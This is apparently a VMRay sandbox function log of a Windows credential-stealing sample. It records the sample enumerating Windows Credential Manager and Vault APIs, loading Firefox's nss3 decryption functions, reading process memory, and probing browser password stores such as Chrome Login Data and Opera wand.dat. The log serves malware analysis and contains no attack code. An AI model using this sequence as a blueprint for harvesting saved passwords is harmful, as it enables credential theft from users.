File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Create filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012018080120180802\index.dat, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012018080120180802\index.dat, size = 32, size_out = 32 True 1
Fn
Data
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012018080120180802\index.dat, type = size True 1
Fn
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012018080120180802\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012018080120180802\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012018080120180802\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012018080120180802\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Create filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 32, size_out = 32 True 1
Fn
Data
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, type = size True 1
Fn
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Create filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017063020170701\index.dat, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017063020170701\index.dat, size = 32, size_out = 32 True 1
Fn
Data
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017063020170701\index.dat, type = size True 1
Fn
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017063020170701\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017063020170701\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017063020170701\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017063020170701\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017063020170701\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017063020170701\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017063020170701\index.dat, size = 8, size_out = 8 True 1
Fn
Data
File Read filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017063020170701\index.dat, size = 256, size_out = 256 True 1
Fn
Data
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Microsoft\Windows\WebCache\WebCacheV24.dat, type = file_attributes False 1
Fn
Module Load module_name = advapi32.dll, base_address = 0x75c90000 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredReadA, address_out = 0x75cd71c1 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredFree, address_out = 0x75c9b2ec True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredDeleteA, address_out = 0x75cd7941 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateA, address_out = 0x75cd7381 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateW, address_out = 0x75cd7481 True 1
Fn
Module Load module_name = pstorec.dll, base_address = 0x66b10000 True 1
Fn
Module Get Address module_name = c:\windows\system32\pstorec.dll, function = PStoreCreateInstance, address_out = 0x66b1526c True 1
Fn
Module Load module_name = vaultcli.dll, base_address = 0x66ae0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\vaultcli.dll, function = VaultOpenVault, address_out = 0x66ae26a9 True 1
Fn
Module Get Address module_name = c:\windows\system32\vaultcli.dll, function = VaultCloseVault, address_out = 0x66ae2718 True 1
Fn
Module Get Address module_name = c:\windows\system32\vaultcli.dll, function = VaultEnumerateItems, address_out = 0x66ae3099 True 1
Fn
Module Get Address module_name = c:\windows\system32\vaultcli.dll, function = VaultFree, address_out = 0x66ae4321 True 1
Fn
Module Get Address module_name = c:\windows\system32\vaultcli.dll, function = VaultGetInformation, address_out = 0x66ae24c0 True 1
Fn
Module Get Address module_name = c:\windows\system32\vaultcli.dll, function = VaultGetItem, address_out = 0x66ae3242 True 2
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\Firefox\Profiles\zp0p8bce.default\history.dat, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\Firefox\Profiles\zp0p8bce.default\places.sqlite, type = file_attributes True 1
Fn
File Create filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\Firefox\Profiles\zp0p8bce.default\places.sqlite, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_BACKUP_SEMANTICS, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\Firefox\Profiles\zp0p8bce.default\places.sqlite, type = time True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\Firefox\profiles.ini, type = file_attributes True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\Firefox\profiles.ini, section_name = Profile0, key_name = Path, data_out = Profiles/zp0p8bce.default True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\Firefox\profiles.ini, section_name = Profile0, key_name = IsRelative, default_value = 0 True 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\Firefox\profiles.ini, section_name = Profile1, key_name = Path False 1
Fn
Ini Read file_name_orig = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\Firefox\profiles.ini, section_name = Profile1, key_name = IsRelative, default_value = 0 True 1
Fn
Registry Open Key reg_name = Mozilla Firefox\bin False 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Open Key reg_name = Mozilla Firefox 25.0\bin True 1
Fn
Registry Read Value reg_name = Mozilla Firefox 25.0\bin, value_name = PathToExe, data = C:\Program Files\Mozilla Firefox\firefox.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Program Files\Mozilla Firefox\nss3.dll, type = file_attributes True 1
Fn
Registry Enumerate Keys - False 1
Fn
Module Get Handle module_name = C:\Program Files\Mozilla Firefox\nss3.dll, base_address = 0x0 False 1
Fn
Module Load module_name = C:\Program Files\Mozilla Firefox\nss3.dll, base_address = 0x63120000 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = NSS_Init, address_out = 0x631dd70b True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = NSS_Shutdown, address_out = 0x631dd13c True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_GetInternalKeySlot, address_out = 0x63173c51 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_FreeSlot, address_out = 0x63173333 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_CheckUserPassword, address_out = 0x6315cbc4 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_Authenticate, address_out = 0x6315d3ca True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11SDR_Decrypt, address_out = 0x631700a7 True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\Firefox\Profiles\zp0p8bce.default\logins.json, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\Firefox\Profiles\zp0p8bce.default\signons.sqlite, type = file_attributes True 1
Fn
Registry Open Key reg_name = Mozilla Firefox\bin False 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Open Key reg_name = Mozilla Firefox 25.0\bin True 1
Fn
Registry Read Value reg_name = Mozilla Firefox 25.0\bin, value_name = PathToExe, data = C:\Program Files\Mozilla Firefox\firefox.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Program Files\Mozilla Firefox\nss3.dll, type = file_attributes True 1
Fn
Registry Enumerate Keys - False 1
Fn
File Get Info filename = C:\Program Files\Mozilla Firefox\sqlite3.dll, type = file_attributes False 1
Fn
File Get Info filename = C:\Program Files\Mozilla Firefox\mozsqlite3.dll, type = file_attributes False 1
Fn
Module Get Handle module_name = c:\program files\mozilla firefox\nss3.dll, base_address = 0x63120000 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_open, address_out = 0x63281ca0 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_prepare, address_out = 0x6320ce70 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_step, address_out = 0x63275200 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_column_text, address_out = 0x6322d400 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_column_int, address_out = 0x6322d3a0 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_column_int64, address_out = 0x6322d3d0 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_finalize, address_out = 0x63259f60 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_close, address_out = 0x6325bde0 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = sqlite3_exec, address_out = 0x6325a270 True 1
Fn
Registry Open Key reg_name = Mozilla Firefox\bin False 1
Fn
Registry Enumerate Keys - True 1
Fn
Registry Open Key reg_name = Mozilla Firefox 25.0\bin True 1
Fn
Registry Read Value reg_name = Mozilla Firefox 25.0\bin, value_name = PathToExe, data = C:\Program Files\Mozilla Firefox\firefox.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Program Files\Mozilla Firefox\nss3.dll, type = file_attributes True 1
Fn
Registry Enumerate Keys - False 1
Fn
Module Get Handle module_name = c:\program files\mozilla firefox\nss3.dll, base_address = 0x63120000 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = NSS_Init, address_out = 0x631dd70b True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = NSS_Shutdown, address_out = 0x631dd13c True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_GetInternalKeySlot, address_out = 0x63173c51 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_FreeSlot, address_out = 0x63173333 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_CheckUserPassword, address_out = 0x6315cbc4 True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11_Authenticate, address_out = 0x6315d3ca True 1
Fn
Module Get Address module_name = c:\program files\mozilla firefox\nss3.dll, function = PK11SDR_Decrypt, address_out = 0x631700a7 True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x77760000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = GetProcessTimes, address_out = 0x7779f626 True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Process Open desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Mozilla\SeaMonkey\profiles.ini, type = file_attributes False 1
Fn
File Get Info filename = C:\Program Files\Sea Monkey\nss3.dll, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\CertificateTransparency\Web Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\CertificateTransparency\Login Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\Crashpad\Web Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\Crashpad\Login Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\Default\Web Data, type = file_attributes True 1
Fn
File Get Info type = size, size_out = 0 True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\Default\Login Data, type = file_attributes True 1
Fn
File Get Info type = size, size_out = 0 True 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\EVWhitelist\Web Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\EVWhitelist\Login Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\FileTypePolicies\Web Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\FileTypePolicies\Login Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\OriginTrials\Web Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\OriginTrials\Login Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\PepperFlash\Web Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\PepperFlash\Login Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\pnacl\Web Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\pnacl\Login Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant\Web Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant\Login Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\SwiftShader\Web Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\SwiftShader\Login Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\SwReporter\Web Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\SwReporter\Login Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\WidevineCdm\Web Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Local\Google\Chrome\User Data\WidevineCdm\Login Data, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Apple Computer\Preferences\keychain.plist, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Opera\Opera\wand.dat, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Opera\Opera7\profile\wand.dat, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\BGC6u8Oy yXGxkR\AppData\Roaming\Opera Software\Opera Stable\Login Data, type = file_attributes False 1
Fn
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image